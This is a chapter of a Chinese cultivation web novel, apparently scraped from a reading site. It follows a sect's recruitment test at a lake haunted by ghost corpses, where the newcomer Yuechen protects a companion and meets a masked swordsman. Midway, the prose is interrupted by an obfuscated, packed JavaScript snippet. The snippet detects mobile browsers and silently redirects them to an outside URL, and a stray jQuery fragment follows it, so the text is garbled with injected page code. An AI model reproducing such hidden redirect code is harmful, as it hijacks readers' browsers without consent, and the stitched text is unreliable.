结果就是,还没等姜庆临烦躁,别人就先忍不了了——
一旁打盹儿补觉的术星孤一把掀了盖在面上的纱巾,支起半个身子训斥他:“你不睡早觉我还睡呢,别一天到晚吵吵嚷嚷的。”
鼎元宗修士不说个个修为高强,但好歹都不必像凡人一样睡觉。
只有术星孤不但坚持作息,而且还昼夜颠倒——她夜登垂月峦观天象,白天谁也不理会,只管闭门睡觉。
往常是个披着麻袋都浑不在意的主儿,今日穿一件素淡得出奇的白色长袍,干干净净没有褶皱,是为了招新大会特意换的。
术星孤才不在乎就这么穿着新衣服躺在高台上沾灰。
她懒得起来,但被吵醒也没心思再睡下去,就抬头望天。
望了半天,扭头朝姜庆临道:“你不是说缺一把趁手的武器么?这总算是来了,但是你别弄丢了。他脆弱着呢……”
术星孤整天研究星象占卜,“出口成谶”是有的。
她这么随口一句,姜庆临如听了神谕。
他立刻收了茶盏,将本已端正的脊背又绷直了三分,瞥了一眼似笑非笑听热闹的曳白。
天下无双的炼器大师姜庆临,近来不知怎的,思路枯竭,已经快一年多没有亲手炼器了,信手做的小玩意也嫌无甚新意。
正巧又逢“炼炉”将开,他面上不显,心里一天愁过一天。
上次在“炼炉”里使用的那把剑不能再沾一点儿鬼气了。
他需要一把新的兵器,能带到炼炉里,随他背负无数森森亡魂,平定这三百年一场的浩劫。
三百年一场“炼炉”浩劫,百鬼夜行。三大门派既然凌驾众生之上,一脚踏进半个神界,自然是天命有所归,不能白白被捧在云端。
每次百鬼出动,都需三大门派合力进入其中镇压,死伤自然难免,不过也属常事。
修仙道本来逆天而行,渡劫尚需天打雷劈,想在活人堆儿里呼风唤雨,不吃点苦头怎么行?
姜庆临百年以来从未停止到处寻觅天材地宝,现在距这浩劫只剩三年,阵法日夜松动。不疾不徐的脸面得拿来定军心,背地里也是殚精竭虑。
这不,昨日还望风而动,跟踪“可疑人士”去了。
谁知道这么久了,还没有遇到合他眼缘的材料。
“巳时了。”於破岩轻声提醒,打断了姜庆临的思考。
姜庆临看向於破岩,点头示意。
他其实对招人不太感兴趣,但是一入“炼炉”则死伤惨重。上次就没有招人,搞得现在外门子弟凋敝得很,功力稀松无法无天,甚至昨天在外城出现纰漏,波及了不少凡人百姓。
是得给宗门里注入些活水。
於破岩接了指令,不知用了什么咒诀,立刻从高台上瞬移到台下开阔的地界。
台下一大早就人山人海,世家的青年才俊和山野散修却泾渭分明。那些带着宾客,众星拱月,三五成群,身上配饰玲珑繁杂的,多是世家公子。而散修人士几乎没有结伴的,都是身负一剑,独来独往。
跃沉在他下高台那会儿才赶到——他贪新鲜,一路上是边看边走过来的,好在不算迟到。他默默往后面草地上坐,继续好奇地观赏这深潭和高山瀑布,也不和其他人拥挤争抢。
“现在巳时正,来迟的就不必参与了。在下鼎元宗截云山长老於破岩,各位修士远道而来,话不多说。今日考核,规矩分明,请听我细讲——”
不少人听说来迟的不能参与,唉声叹气很是不满。人群出现了轻微的骚动。
於破岩眉目冰冷,说是站在人群对面,其实脚下的那块儿地还是高了一大截。他抬手劈下一道剑风,拦腰撕裂了一大片嫩草。
人群霎时安静了。
於破岩眼神自上而下扫视一圈,冷峻地开口,毫不留情:“布告说明了巳时正开始考核,迟到的人连最基本的规矩都不守,谈何参与?”
“本次考核规矩:众位看好了,谁能两个时辰内游过‘问心湖’,进入鼎元宗山里,谁就算第一次考核通过。所有考核通过者都能进入鼎元宗外门。根据在外门的表现,再按情况分入内门。‘炼炉’将开,事态紧急,敬请各位谅解。”
跃沉托腮不语,怀疑这是招来一批新人然后让他们变相送死,但是又没有证据。
进宗门作垫脚石,说白了就是推出去给人当靶子。
他想慢慢挪起来,可惜前面众人都屏气凝神、一动不动,这时候拔腿就走,好像……不太好。
众人齐刷刷盯着深潭,鼎元宗的考核怎么会那么简单。没有人敢先下水试探。
直到一个站的本就离湖水很近的黑衣少年摘了斗笠,将腰间的双刀解下,改成绑在背后,毫不犹豫就跳了下去。
一个活人跳进去,湖水竟是连一点水花都没有激起来,也不见他的身影。
於破岩笑得意味深长:“两个时辰后,山里见。”
第一批人已经陆陆续续下水了。说来也怪,下水之后,他们就再也没有露头的了。
潭面平静,无声无息地吞容了这些人。其余的人在潭边观望,却连一点模糊的影子也看不见。
只有两个时辰。
别看湖水后面就是高山瀑布,可真到了近前一看,问心湖是真不小。
靠游过去,两个时辰不一定能赶到。指不定水里还有什么妖物等着,众修士不敢耽搁,纷纷整装,咬牙下水。
跃沉不着急,他在昆仑时天天在浮光潭里泡着,泡了这么千百年的,只剩腻烦了。但是居然还有人也不着急,过来拍他肩膀,雪青色的长袖垂落在他身上。
那人同样很年轻,一个人来的,看着跃沉也是一个人,就笑嘻嘻地搭话:“公子怎么不下水啊?”
跃沉盯着他看了几秒——是个很俊俏温和的少年,垂着眼,好奇地望他。
于是跃沉也很友好地笑:“没什么,不着急。”
对方眉眼弯弯:“我叫冲华,公子你生的好漂亮,咱们交个朋友,好不好?”
跃沉不知道什么算是凡人眼里的“漂亮”,但是被夸了照样高兴——这是第一个夸自己的人类诶。
“好,我叫跃沉。”他回答说。
草坪上没什么人了,各自下水,最后只剩下他们俩。
跃沉见人都走干净了才从地上爬起来,慢条斯理地抖衣袖,朝问心湖走去。
冲华和他一起,不住偏头看他。
跃沉低声念了一句“不沾阳春水”,抬脚就要往水里走。
冲华杵在湖边,为难地顿了顿:“我……我不会游泳……”
跃沉很大度地给他也套了个咒诀,拉着他下水,感动得冲华连连道谢。
下水那一瞬间,俩人就和其他人一样沉底了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245016|197859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跃沉惊了一跳,这哪是水啊?
这水怕不是有千钧之重,进湖一瞬间倾压在每一寸骨骼上——皮肉没有一分痛感,骨头却生疼。
冲华沉底那一瞬间差点疼的背过气去,全靠跃沉反应快,轻轻念出一句“轻如鸿毛”罩住二人。
湖水确实诡异,咒诀仿佛受到了极大的阻力,才粘稠而缓慢地生效。
跃沉自己喘气当然一点问题没有,突然还想起来带了个活人,转头很担心地瞟了冲华一眼,发现他也没有什么不适——问心湖水下面设置了结界,不用担心呼吸问题。
还算有良心。
水下的景色很清楚,水草稀疏,什么都挡不住,一片坦途明明白白。
是了,那么考核的点就不光是这湖水的毛病了。
跃沉拉着小心翼翼的冲华踩在湖底的淤泥上,一直往前走,绕过挣扎求生的人——有不少修士被湖水折磨得喘不上来气,逐渐沉底,寸步难行。
走了一会儿,地势逐渐降低。周围平静的湖水隐隐暗流涌动,几处冲突的水波中纠缠了灵力。
跃沉敏锐地察觉到不对,顺手拉了拉冲华的衣角,把他往身后带。
冲华不明所以,很乖地往后站。
一道带着血痕的水波赫然扫过来。水本身沉重黏着,就难以催动,何况居然还能伤人。跃沉抬手抵了水波,却难掩好奇,向水波来处望去。
水波凌乱散去,那身影有些熟悉。
是那个最先入水的黑衣少年。
银色面具覆盖着他整张脸。少年看见跃沉后,眼中戾色稍稍淡去一些,向他低声解释:“鬼气入体,活不得了。”
鲜血里流淌着黑雾,森森缭绕,确实不能留了。
跃沉将目光放向更远一点的地方——那几个死去的修士尸体居然在他们说话的功夫就迅速上浮。而且衣角平整熨帖,和在陆地上没什么两样,极其诡异。
黑衣少年轻声说:“活人沉底,死人上浮。湖底下还镇压了这么多这些鬼尸,问心湖真是有点意思。”
跃沉望向他,他却越过跃沉,准确地望向被牢牢护在身后的冲华,语气不明:“这时候可当不得好人。”
跃沉耸耸肩,很无所谓的样子。也不知道表示的是自己足够有实力带着别人,还是根本不在乎能不能进入鼎元宗。
黑衣少年正了正面具,收了双刀,上下打量跃沉一番:“我叫渊令,鼎元宗见。”
跃沉看着渊令再次盯了冲华几秒钟,目光尽数流连在他雪青色的长袖上。于是默默上前一点,渊令才收回目光。
水波突然有一丝异动,两人同时抬头看去。
某个鬼尸的红缨枪突然从渊令后脑勺处刺来。然而因为他这冷不丁一转头,枪尖赫然正对他,直直要刺入他的眼睛。
鬼尸的行动速度居然不受湖水粘滞的影响,比他们快了不止一倍,来去都刮着黑雾,还能勉强追到一点痕迹。
渊令没能及时反应,枪尖逼近。跃沉低声念了咒诀:“铜墙铁壁。”
水流顷刻形成一层极其坚固的薄膜,抵住枪尖。鬼尸丧失了大部分智力,但并不是完全愚蠢,此刻正发愣于怎么穿不透,又疑惑地重新捅了几下,动作颇为可笑。
渊令已经从惊诧中缓过神来,点头道:“多谢。”
活人受阻,死人不限。
天杀的问心湖。